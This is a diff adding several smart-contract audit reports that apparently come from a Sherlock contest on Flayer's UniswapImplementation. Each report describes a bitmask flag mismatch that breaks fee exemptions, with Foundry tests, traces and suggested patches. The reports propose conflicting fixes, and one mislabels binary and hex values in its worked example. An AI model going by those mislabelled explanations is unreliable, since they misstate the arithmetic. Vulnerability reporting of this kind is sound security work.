+[PASS] test_RemoveFeeExemptionReverts(address) (runs: 257, μ: 35737, ~: 35737)
+Traces:
+ [35737] UniswapImplementationTest::test_RemoveFeeExemptionReverts(0x0000000000000000000000000000000000000718)
+ ├─ [26223] 0x57D88D547641a626eC40242196F69754b25D2FCC::setFeeExemption(0x0000000000000000000000000000000000000718, 10000 [1e4])
+ │ ├─ emit BeneficiaryFeeSet(_beneficiary: 0x0000000000000000000000000000000000000718, _flatFee: 10000 [1e4])
+ │ └─ ← [Stop]
+ ├─ [0] VM::expectRevert(custom error f4844814:)
+ │ └─ ← [Return]
+ ├─ [834] 0x57D88D547641a626eC40242196F69754b25D2FCC::removeFeeExemption(0x0000000000000000000000000000000000000718)
+ │ └─ ← [Revert] NoBeneficiaryExemption(0x0000000000000000000000000000000000000718)
+ └─ ← [Stop]
+```
+
+## Impact
+`removeFeeExemption` will always revert, so fee override can never be modified once set except it can be changed to zero by setting exemption of 0 again, but completely removing the exception is not possible.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L738-L752
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L752
+```diff
+ function removeFeeExemption(address _beneficiary) public onlyOwner {
+ // Check that a beneficiary is currently enabled
+ uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+- if (hasExemption != 1) {
++ if (hasExemption != 0xFFFFFF) {
+ revert NoBeneficiaryExemption(_beneficiary);
+ }
+
+ delete feeOverrides[_beneficiary];
+ emit BeneficiaryFeeRemoved(_beneficiary);
+ }
+```
\ No newline at end of file
diff --git a/005/379.md b/005/379.md
new file mode 100644
index 0000000..41fbe96
--- /dev/null
+++ b/005/379.md
@@ -0,0 +1,75 @@
+Fancy Emerald Lark
+
+Medium
+
+# `swapFeeOverride` and fee exemption feature becomes unused all the time
+
+## Summary
+Impact: Users who can have fee overridden/exempted will also get charged with the same pool fee like everyone.
+root cause: wrong validation on line 692
+
+## Vulnerability Detail
+
+Issue flow:
+1. Owner sets a fee of 10000 on `setFeeExemption` call and line 719 will store `1000 << 24 | 0xFFFFFF` = `0x3e8ffffff`
+2. Then someone calls swap and before swap hook calls `getFee` to calculate the swap fee and this fee will be `poolfee` for everyone and if the _sender is overridden with `feeOverrides`, then `baseSwapFeeOverride` value will be the fees on line 697.
+
+But on line 692, it is checking if `swapFeeOverride & 0xFFFFFF == 1` which will never be 1 because `0x3e8ffffff` was the swapFeeOverride, and `0x3e8ffffff & 0xFFFFFF = 0xFFFFFF` but not equal to 1. So even if owner sets the fee override to sender, it cannot be applied because line 692 skips. It's supposed to be `swapFeeOverride & 0xFFFFFF == 0xFFFFFF`, not == 1.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L711-L738
+
+```solidity
+UniswapImplementation.sol
+
+678: function getFee(PoolId _poolId, address _sender) public view returns (uint24 fee_) {
+---- SNIP ----
+683: uint24 poolFee = _poolParams[_poolId].poolFee;
+684: if (poolFee != 0) {
+685: fee_ = poolFee;
+686: }
+
+690: uint48 swapFeeOverride = feeOverrides[_sender];
+692: >>> if (uint24(swapFeeOverride & 0xFFFFFF) == 1) {
+695: uint24 baseSwapFeeOverride = uint24(swapFeeOverride >> 24);
+696: if (baseSwapFeeOverride < fee_) {
+697: fee_ = baseSwapFeeOverride;
+698: }
+699: }
+700: }
+
+710: function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+---- SNIP ----
+719: >>> feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+720: emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+721: }
+
+```
+
+
+## Impact
+`feeOverrides[_sender]` for a sender can never be put to accounting and all the senders will get `poolFee` even if they has fee exemptions. And owner wants some senders to have 0 fees charged, which is not possible due to wrong validation on line 692.
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L711-L738
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L711
+
+```diff
+ function getFee(PoolId _poolId, address _sender) public view returns (uint24 fee_) {
+---- SNIP ----
+ uint48 swapFeeOverride = feeOverrides[_sender];
+- if (uint24(swapFeeOverride & 0xFFFFFF) == 1) {
++ if (uint24(swapFeeOverride & 0xFFFFFF) == 0xFFFFFF) {
+ uint24 baseSwapFeeOverride = uint24(swapFeeOverride >> 24);
+ if (baseSwapFeeOverride < fee_) {
+ fee_ = baseSwapFeeOverride;
+ }
+ }
+ }
+```
\ No newline at end of file
diff --git a/005/454.md b/005/454.md
new file mode 100644
index 0000000..2782118
--- /dev/null
+++ b/005/454.md
@@ -0,0 +1,69 @@
+Rough Azure Scallop
+
+Medium
+
+# removeFeeExemption() Always Reverts Due to Incorrect Comparison
+
+### Summary
+
+The `removeFeeExemption()` function in UniswapImplementation.sol will always revert due to an incorrect comparison in the condition check, preventing the removal of fee exemptions for beneficiaries.
+
+### Root Cause
+
+In `UniswapImplementation.sol`, the `removeFeeExemption()` function uses an incorrect comparison when checking if a beneficiary has an exemption. The comparison `hasExemption != 1` should be `hasExemption != 0xFFFFFF`.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L752
+
+### Internal pre-conditions
+
+1. UniswapImplementation contract needs to be deployed with the incorrect `removeFeeExemption()` function implementation.
+2. A fee exemption must be set for a beneficiary using `setFeeExemption()`.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. **Owner calls `removeFeeExemption()` to remove a fee exemption for a beneficiary**
+2. **The function always reverts due to the incorrect comparison**
+3. **The fee exemption remains in place, unable to be removed**
+
+### Impact
+
+The contract owner cannot remove fee exemptions for beneficiaries, this breaks a core functionality of the contract and lead to unintended privileged access to reduced fees.
+
+### PoC
+
+The failing test in `UniswapImplementation.t.sol` confirms this issue:
+
+```solidity
+function test_CanRemoveFeeExemption(address _beneficiary) public hasExemption(_beneficiary) {
+ vm.expectEmit();
+ emit UniswapImplementation.BeneficiaryFeeRemoved(_beneficiary);
+ uniswapImplementation.removeFeeExemption(_beneficiary);
+ // Confirm that the position does not exist
+ (uint24 storedFee, bool enabled) = _decodeEnabledFee(uniswapImplementation.feeOverrides(_beneficiary));
+ assertEq(storedFee, 0);
+ assertEq(enabled, false);
+}
+```
+
+### Mitigation
+
+Update the condition in the `removeFeeExemption()` function to correctly check for the exemption flag:
+
+```solidity
+function removeFeeExemption(address _beneficiary) public onlyOwner {
+ // Check that a beneficiary is currently enabled
+ uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+ if (hasExemption != 0xFFFFFF) { // Corrected comparison
+ revert NoBeneficiaryExemption(_beneficiary);
+ }
+
+ delete feeOverrides[_beneficiary];
+ emit BeneficiaryFeeRemoved(_beneficiary);
+}
+```
+
+After this fix, the test `test_CanRemoveFeeExemption` passes successfully.
\ No newline at end of file
diff --git a/005/459.md b/005/459.md
new file mode 100644
index 0000000..c1eb971
--- /dev/null
+++ b/005/459.md
@@ -0,0 +1,99 @@
+Rough Azure Scallop
+
+Medium
+
+# getFee() Fails to Apply Fee Exemptions Correctly
+
+### Summary
+
+The `getFee()` function in UniswapImplementation.sol does not correctly apply fee exemptions for beneficiaries, leading to incorrect fee calculations for exempt addresses.
+
+### Root Cause
+
+In `UniswapImplementation.sol`, the `getFee()` function uses an incorrect condition when checking for fee exemptions. The current implementation doesn't properly decode the exemption status and fee value.
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L711
+
+### Internal pre-conditions
+
+1. UniswapImplementation contract needs to be deployed with the incorrect `getFee()` function implementation.
+2. A fee exemption must be set for a beneficiary using `setFeeExemption()`.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+1. **Owner sets a fee exemption for a beneficiary using `setFeeExemption()`**
+2. **A function that relies on `getFee()` is called with the exempt beneficiary's address**
+3. **`getFee()` returns the default or pool-specific fee instead of the exemption fee**
+4. **The incorrect fee is applied to the beneficiary's transaction**
+
+### Impact
+
+Beneficiaries with fee exemptions are charged incorrect fees, potentially higher than their exemption allows. This breaks the intended fee structure of the protocol, leading to overcharging of privileged users and potential loss of trust in the system.
+
+### PoC
+
+The failing test in `UniswapImplementation.t.sol` demonstrates this issue:
+
+```solidity
+function test_CanGetFeeWithExemptFees() public {
+ address beneficiary = address(poolSwap);
+
+ assertEq(
+ uniswapImplementation.getFee(_poolKey(false).toId(), beneficiary),
+ 1_0000
+ );
+
+ // Exempt a beneficiary with a set fee
+ uniswapImplementation.setFeeExemption(beneficiary, 5000);
+
+ assertEq(
+ uniswapImplementation.getFee(_poolKey(false).toId(), beneficiary),
+ 5000
+ );
+
+ // Update our exemption
+ uniswapImplementation.setFeeExemption(beneficiary, 7500);
+
+ assertEq(
+ uniswapImplementation.getFee(_poolKey(false).toId(), beneficiary),
+ 7500
+ );
+}
+```
+
+This test fails because `getFee()` does not correctly apply the exemption fees.
+
+### Mitigation
+
+Update the `getFee()` function to correctly check and apply fee exemptions:
+
+```solidity
+function getFee(PoolId _poolId, address _sender) public view returns (uint24 fee_) {
+ // Our default fee is our first port of call
+ fee_ = defaultFee;
+
+ // If we have a specific pool fee then we can overwrite that
+ uint24 poolFee = _poolParams[_poolId].poolFee;
+ if (poolFee != 0) {
+ fee_ = poolFee;
+ }
+
+ // Check for fee exemption
+ uint48 swapFeeOverride = feeOverrides[_sender];
+ if (swapFeeOverride != 0) {
+ uint24 exemptionFlag = uint24(swapFeeOverride & 0xFFFFFF);
+ if (exemptionFlag == 0xFFFFFF) {
+ uint24 exemptionFee = uint24(swapFeeOverride >> 24);
+ if (exemptionFee < fee_) {
+ fee_ = exemptionFee;
+ }
+ }
+ }
+}
+```
+
+After this fix, the test `test_CanGetFeeWithExemptFees` should pass successfully.
\ No newline at end of file
diff --git a/005/503.md b/005/503.md
new file mode 100644
index 0000000..f68c153
--- /dev/null
+++ b/005/503.md
@@ -0,0 +1,63 @@
+Large Mauve Parrot
+
+Medium
+
+# Fee exemptions are never applied
+
+### Summary
+
+Checking if a fee exemptions exists for an user is done incorrectly in:
+
+- [UniswapImplementation::getFee()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L711)
+- [UniswapImplementation::removeFeeExemption()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L751)
+
+which makes it impossible for the protocol to apply fee exemptions.
+
+### Root Cause
+
+The protocol sets a fee exemption via [setFeeExemption()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L729) by using a `uint48` variable whose first 24 bits represent the fee and last 24 are used as a flag to know if the fee exempion is set or no. The last 24 bits are all set to `1` if the fee exemption is active and are all set to `0` if it's not:
+
+```solidity
+ feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
+```
+
+The check to know if a fee exemption is set or not is done via:
+
+```solidity
+uint48 swapFeeOverride = feeOverrides[_sender];
+if (uint24(swapFeeOverride & 0xFFFFFF) == 1) {
+ //set fee
+}
+```
+
+which is incorrect, as this returns `true` when the last bit is `1` and the previous 23 are `0`.
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Admin calls [setFeeExemption()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L729) setting Alice fee to `0`
+2. Alice swaps in the UniV4 pool, the `beforeSwap()` hook gets Alice fee via [getFee()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L711) which returns the pool/default fee instead of `0`, because [the check](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L711) is incorrect.
+
+### Impact
+
+Users that should be exempted from fees pay more fees than expected.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+In [UniswapImplementation::getFee()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L711) and [UniswapImplementation::removeFeeExemption()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L751) change the check to:
+```solidity
+ if (uint24(swapFeeOverride & 0xFFFFFF) == 0xFFFFFF) {
+ ...
+ }
+```
\ No newline at end of file
diff --git a/005/521.md b/005/521.md
new file mode 100644
index 0000000..08cc301
--- /dev/null
+++ b/005/521.md
@@ -0,0 +1,90 @@
+Lone Chartreuse Alpaca
+
+Medium
+
+# Faulty Exemption Check Prevents Fee Removal and Correct Fee Application in `UniswapImplementation`
+
+### Summary
+
+The contract owner in `UniswapImplementation` contract can set fee exemptions for specific beneficiaries via the [`setFeeExemption`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L729-L740) function. but due to an error in how the fee exemption flag is checked, removing a fee exemption always results in a revert.
+
+### Root Cause
+
+In the [`setFeeExemption`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L729-L740) function, the first 24 bits of the `_flatFee` value are shifted left, with the remaining 24 bits zeroed out, and then filled with `0xFFFFFF` using the OR operator:
+```solidity
+feeOverrides[_beneficiary] = (uint48(_flatFee) << 24) | 0xFFFFFF;
+```
+When removing the exemption, the contract checks if the fee override has an exemption by isolating the last 24 bits (which should be `0xFFFFFF`) and confirming that the beneficiary is exempt using:
+```solidity
+uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+```
+The problem is that the contract assumes this will return `1`, but the intersection (`a & a`) always returns the value itself (i.e., `0xFFFFFF & 0xFFFFFF` returns `0xFFFFFF`). This causes the [`removeFeeExemption`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L749-L758) function to always revert.
+
+
+### Internal pre-conditions
+
+None
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+None
+
+### Impact
+
+- The [`getFee`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L698-L719) function will never apply the `swapFeeOverride` because the exemption check will always fail.
+- Removing a beneficiary's fee exemption will always result in a revert, preventing any exemption removal.
+
+
+### PoC
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L749-L758
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L698-L719
+
+### Mitigation
+
+Update the [`removeFeeExemption`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L749-L758) function to:
+```solidity
+function removeFeeExemption(address _beneficiary) public onlyOwner {
+ // Check that a beneficiary is currently enabled
+ uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+++ if (hasExemption != 0xFFFFFF) {
+ revert NoBeneficiaryExemption(_beneficiary);
+ }
+
+ delete feeOverrides[_beneficiary];
+ emit BeneficiaryFeeRemoved(_beneficiary);
+}
+```
+Also, update the [`getFee`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L698-L719) function to properly apply fee overrides:
+```solidity
+function getFee(
+ PoolId _poolId,
+ address _sender
+) public view returns (uint24 fee_) {
+ // Start with the default fee
+ fee_ = defaultFee;
+
+ // Check if a specific pool fee is set
+ uint24 poolFee = _poolParams[_poolId].poolFee;
+ if (poolFee != 0) {
+ fee_ = poolFee;
+ }
+
+ // Apply swap fee override if it exists
+ uint48 swapFeeOverride = feeOverrides[_sender];
+++ if (uint24(swapFeeOverride) & 0xFFFFFF == 0xFFFFFF) {
+ // Extract and apply the override if it's less than the base fee
+ uint24 baseSwapFeeOverride = uint24(swapFeeOverride >> 24);
+ if (baseSwapFeeOverride < fee_) {
+ fee_ = baseSwapFeeOverride;
+ }
+ }
+}
+```
+
+---
diff --git a/005/537.md b/005/537.md
new file mode 100644
index 0000000..fb4c952
--- /dev/null
+++ b/005/537.md
@@ -0,0 +1,105 @@
+Winning Juniper Ram
+
+High
+
+# `UniswapImplementation::setFeeExemption` functionality broken
+
+### Summary
+
+There is a logical error in the fee override mechanism within the `UniswapImplementation` contract. Specifically, the way fee overrides are stored in the `feeOverrides` mapping and the way they are checked in the `getFee` function are inconsistent.
+
+The `UniswapImplementation::setFeeExemption` function is supposed to pack the value `1` in the latter `uint24` of the `_flatFee` according to the natspec inside the function. What the function does instead is to store the value `0xFFFFFF` instead of the expected `1`. [Link to code](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L738).
+
+This inconsistency causes the fee override functionality to be worthless because [this assertion](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L711) inside the `getFee` function will always be false `if (uint24(swapFeeOverride & 0xFFFFFF) == 1)` and therefore the custom fees that were set for the `beneficiary` inside the `feeOverrides` mapping will never be used. The `UniswapImplementation::getFee` function expects the value of `1` in the latter `uint24` but what it will actually read is `0xFFFFFF` because that's what the `setFeeExemption` function set.
+
+### Root Cause
+
+The `setFeeExemption` function sets the lower 24 bits of the `uint48(_flatFee)` to `0xFFFFFF`, instead of `1` but the `getFee` function expects the value of `1` in the lower 24 bits in order to return true. Because of this, even if a user was exempted from fees, they will still pay them because this `if` statement in the `getFee` function will always be false `if (uint24(swapFeeOverride & 0xFFFFFF) == 1)`.
+
+### Internal pre-conditions
+
+1. Call the `UniswapImplementation::setFeeExemption` for any `_beneficiary` address.
+
+### External pre-conditions
+
+None
+
+### Attack Path
+
+1. Call `UniswapImplementation::setFeeExemption` with a valid `_flatFee` value for a `_beneficiary` address.
+
+### Impact
+
+- The fee overrides mechanism is broken. Users who are supposed to receive fee exemptions or reduced fees will not benefit from them. Even if a user was supposed to be exempted from fees, they will still pay them.
+
+### PoC
+
+Put the following test in `UniswapImplementation.t.sol` test file and run it.
+
+```solidity
+ function test_FeeExemptionDoesntWork(address _beneficiary, uint24 _validFee) public {
+ // Ensure that we have a valid fee
+ vm.assume(_validFee.isValid());
+ console.log("Valid fee for this run is", _validFee);
+
+ // Confirm that the position does not yet exist
+ (uint24 storedFee, bool enabled) = _decodeEnabledFee(uniswapImplementation.feeOverrides(_beneficiary));
+ assertEq(storedFee, 0);
+ assertEq(enabled, false);
+
+ //set fee exemption for beneficiary
+ uniswapImplementation.setFeeExemption(_beneficiary, _validFee);
+
+ // Get stored fee override
+ uint48 feeOverride = uniswapImplementation.feeOverrides(_beneficiary);
+ console.log("FeeOverride:", feeOverride);
+
+ // Confirm the fee override is NOT what we expect it to be. We do assertNotEq
+ assertNotEq(feeOverride, _encodeEnabledFee(_validFee, true));
+
+ // Confirm that storedFee amount is correct, but appears as NOT enabled. We do assertNotEq(enabled, true);
+ (storedFee, enabled) = _decodeEnabledFee(feeOverride);
+ assertEq(storedFee, _validFee);
+ assertNotEq(enabled, true);
+ }
+```
+
+Test output
+
+```javascript
+ ├─ [615] 0x57D88D547641a626eC40242196F69754b25D2FCC::feeOverrides(0x0000000000000000000000000000000000000556) [staticcall]
+ │ └─ ← [Return] 201058156543 [2.01e11]
+ ├─ [0] console::log("FeeOverride:", 201058156543 [2.01e11]) [staticcall]
+ │ └─ ← [Stop]
+ ├─ [0] VM::assertNotEq(201058156543 [2.01e11], 201041379329 [2.01e11]) [staticcall]
+ │ └─ ← [Return]
+ ├─ [0] VM::assertEq(11983 [1.198e4], 11983 [1.198e4]) [staticcall]
+ │ └─ ← [Return]
+ ├─ [0] VM::assertNotEq(false, true) [staticcall]
+ │ └─ ← [Return]
+ └─ ← [Stop]
+
+Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 31.16ms (26.85ms CPU time)
+```
+
+The PoC proves that the `feeOverride` is NOT what we expect it to be and it also shows that the fee exemption appears as if it is not enabled although we did enable it with this call `uniswapImplementation.setFeeExemption(_beneficiary, _validFee);`.
+
+### Mitigation
+
+Correct the `UniswapImplementation::setFeeExemption` function and replace `0xFFFFFF` with `1` to align it with the natspec and its expected behavior. After this small change is done, this other test (that's already in the file) should pass `UniswapImplementation.t.sol::test_CanSetFeeExemption`.
+
+```diff
+ function setFeeExemption(address _beneficiary, uint24 _flatFee) public onlyOwner {
+ // Ensure that our custom fee conforms to Uniswap V4 requirements
+ if (!_flatFee.isValid()) {
+ revert FeeExemptionInvalid(_flatFee, LPFeeLibrary.MAX_LP_FEE);
+ }
+
+ // We need to be able to detect if the zero value is a flat fee being applied to
+ // the user, or it just hasn't been set. By packing the `1` in the latter `uint24`
+ // we essentially get a boolean flag to show this.
+- feeOverrides[_beneficiary] = (uint48(_flatFee) << 24) | 0xFFFFFF;
++ feeOverrides[_beneficiary] = (uint48(_flatFee) << 24) | 1;
+ emit BeneficiaryFeeSet(_beneficiary, _flatFee);
+ }
+```
\ No newline at end of file
diff --git a/005/676.md b/005/676.md
new file mode 100644
index 0000000..98d14a4
--- /dev/null
+++ b/005/676.md
@@ -0,0 +1,159 @@
+Rich Chrome Whale
+
+Medium
+
+# Broken core contract functionality `UniswapImplementation::setFeeExemption` making `exemptionFee` is never useable
+
+### Summary
+
+In oreder to set a `FeeExemption` we assign a boolean flag to know if there is a exemptionfee or not
+but doing so with `0xFFFFFF` making `misinterpretation` and could override storage and fail to assign the fee
+which appears in
+- `UniswapImplementation::setFeeExemption`
+- `UniswapImplementation::removeFeeExemption`
+- `UniswapImplementation::getFee`
+making feeExemption never usable
+
+### Root Cause
+
+Using this check
+[UniswapImplementation.sol#L738-L739](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L738-L739)
+` feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;`
+in `UniswapImplementation::setFeeExemption`
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+
+Knowing how `feeOverrides[_beneficiary]` is setted in `UniswapImplementation::setFeeExemption`
+
+` feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF; //@audit those bitwise manipulation seems wrong
+`
+with example `_flatfee` of 0
+- uint48(_flatFee):
+ - Binary: 000000000000000000000000000000000000000000000000 (48 bits of 0)
+- uint48(_flatFee) << 24:
+ - Binary: 000000000000000000000000000000000000000000000000 (unchanged, as we're shifting 0s)
+- 0xFFFFFF:
+ - Binary: 000000000000000000000000111111111111111111111111 (24 1's in the lower bits)
+- Result of | operation:
+
+```solidity
+ 000000000000000000000000000000000000000000000000
+ |
+ 000000000000000000000000111111111111111111111111
+ -----------------------------------------------
+ 000000000000000000000000111111111111111111111111
+```
+- Final result:
+ - Binary: 000000000000000000000000111111111111111111111111
+ - Hexadecimal: 0x00FFFFFF
+ - Decimal: 16777215
+
+in `getFee` the check will always be false
+
+```solidity
+File: UniswapImplementation.sol
+698: function getFee(PoolId _poolId, address _sender) public view returns (uint24 fee_) {
+////code
+711:@> if (uint24(swapFeeOverride & 0xFFFFFF) == 1) {
+712: // We can then extract the original uint24 fee override and apply this, only if
+```
+
+calculations
+```solidity
+ 000000000000000000000000111111111111111111111111 (swapFeeOverride)
+ &
+ 000000000000000000000000111111111111111111111111 (0xFFFFFF)
+ -----------------------------------------------
+ 000000000000000000000000111111111111111111111111
+```
+- Result: 0xFFFFFF (16777215 in decimal)
+which doesn't equal to 1.
+
+- This is also applied to `UniswapImplementatoin::removeFeeExemption`
+```solidity
+File: UniswapImplementation.sol
+749: function removeFeeExemption(address _beneficiary) public onlyOwner {
+750: // Check that a beneficiary is currently enabled
+751:@> uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+752: if (hasExemption != 1) {
+```
+
+`exemptionFee` can't be used due to wrong bitwise operation.
+
+### Impact
+
+We can't set `exemptionFee`
+
+### PoC
+
+run these tests before and after the modificaion
+
+- `UniswapImplementationTest::test_CanSetFeeExemption`
+- `UniswapImplementationTest::test_CanGetFeeWithExemptFees`
+- `UniswapImplementationTest::test_CanRemoveFeeExemption`
+
+```solidity
+ function test_CanSetFeeExemption(address _beneficiary, uint24 _validFee) public {
+ // Ensure that the valid fee is.. well.. valid
+ vm.assume(_validFee.isValid());
+
+ // Confirm that the position does not yet exist
+ (uint24 storedFee, bool enabled) = _decodeEnabledFee(uniswapImplementation.feeOverrides(_beneficiary));
+ assertEq(storedFee, 0);
+ assertEq(enabled, false);
+
+ vm.expectEmit();
+ emit UniswapImplementation.BeneficiaryFeeSet(_beneficiary, _validFee);
+ uniswapImplementation.setFeeExemption(_beneficiary, _validFee);
+
+ // Get our stored fee override
+ uint48 feeOverride = uniswapImplementation.feeOverrides(_beneficiary);
+
+ // Confirm the fee override is what we expect it to be
+ assertEq(feeOverride, _encodeEnabledFee(_validFee, true));
+
+ // Confirm that the decoded elements are correct
+ (storedFee, enabled) = _decodeEnabledFee(feeOverride);
+ assertEq(storedFee, _validFee);
+ assertEq(enabled, true);
+ }
+```
+### Mitigation
+
+```diff
+File: UniswapImplementation.sol
+-738: feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF;
++738: feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 1;
+```
+using 1 will not cuse problem and feeExemption will be used normally
+
+If we used 1 instead of 0xFFFFFF
+in `setExemptionFee`
+```solidity
+ 000000000000000000000000000000000000000000000000 (swapFeeOverride)
+ |
+ 000000000000000000000000000000000000000000000001 (0xFFFFFF)
+ -----------------------------------------------
+ 000000000000000000000000000000000000000000000001
+```
+
+This is the calculation of and operation in `getFee` and `removeFeeExemption`
+```solidity
+ 000000000000000000000000000000000000000000000001 (swapFeeOverride)
+ &
+ 000000000000000000000000111111111111111111111111 (0xFFFFFF)
+ -----------------------------------------------
+ 000000000000000000000000000000000000000000000001
+```
+- Result: 0xFFFFFF (1 in decimal)
+which equal to 1.
+
diff --git a/005/761.md b/005/761.md
new file mode 100644
index 0000000..457392b
--- /dev/null
+++ b/005/761.md
@@ -0,0 +1,90 @@
+Rich Chrome Whale
+
+Medium
+
+# Wrong chek in `UniswapImplementation::removeFeeExemption` and `UniswapImplementation::geFee`making exemptionFee useless
+
+### Summary
+
+Broken core contract functionality In `UniswapImplementation::removeFeeExemption` and `UniswapImplementation::getFee`,
+we first have to check if there is an exemption fee in above functions but the check is done wrongly making this check is always false.
+
+### Root Cause
+
+In removeFeeExemption
+[UniswapImplementation.sol#L752-L753](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L752-L753)
+```solidity
+File: UniswapImplementation.sol
+749: function removeFeeExemption(address _beneficiary) public onlyOwner {
+750: // Check that a beneficiary is currently enabled
+751: uint24 hasExemption = uint24(feeOverrides[_beneficiary] & 0xFFFFFF);
+752:@> if (hasExemption != 1) {
+```
+In getFee
+[UniswapImplementation.sol#L711-L712](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/implementation/UniswapImplementation.sol#L711-L712)
+```solidity
+File: UniswapImplementation.sol
+698: function getFee(PoolId _poolId, address _sender) public view returns (uint24 fee_) {
+////code
+711:@> if (uint24(swapFeeOverride & 0xFFFFFF) == 1) {
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+In `getfee` `exemptionfee` suppose to override values of `poolfee` and `defaultfee` this check will never be true and will never use `exemptionfee`.
+
+In `removeFeeExemption` we first check if there is an `exemptionfee` present which will always return false and will not proccess making the function is useless.
+
+### Impact
+
+- We can't override `poolfee` or `defaultfee` values.
+- we can't use `removeFeeExemption` function.
+
+### PoC
+
+In `setFeeExemption` we ues this to set the fee
+` feeOverrides[_beneficiary] = uint48(_flatFee) << 24 | 0xFFFFFF; //@audit those bitwise manipulation seems wrong
+`
+
+the output of this operation will be as follow
+assuming 0 value of `_flatFee`
+```solidity
+ 000000000000000000000000000000000000000000000000
+ |
+ 000000000000000000000000111111111111111111111111
+ -----------------------------------------------
+ 000000000000000000000000111111111111111111111111
+```
+Then in either `getFee` or `removeFeeExemption` goes as follow
+```solidity
+ 000000000000000000000000111111111111111111111111 (Fee)
+ &
+ 000000000000000000000000111111111111111111111111 (0xFFFFFF)
+ -----------------------------------------------
+ 000000000000000000000000111111111111111111111111
+```
+the result is 0xFFFFFF
+which will never be equal to 1
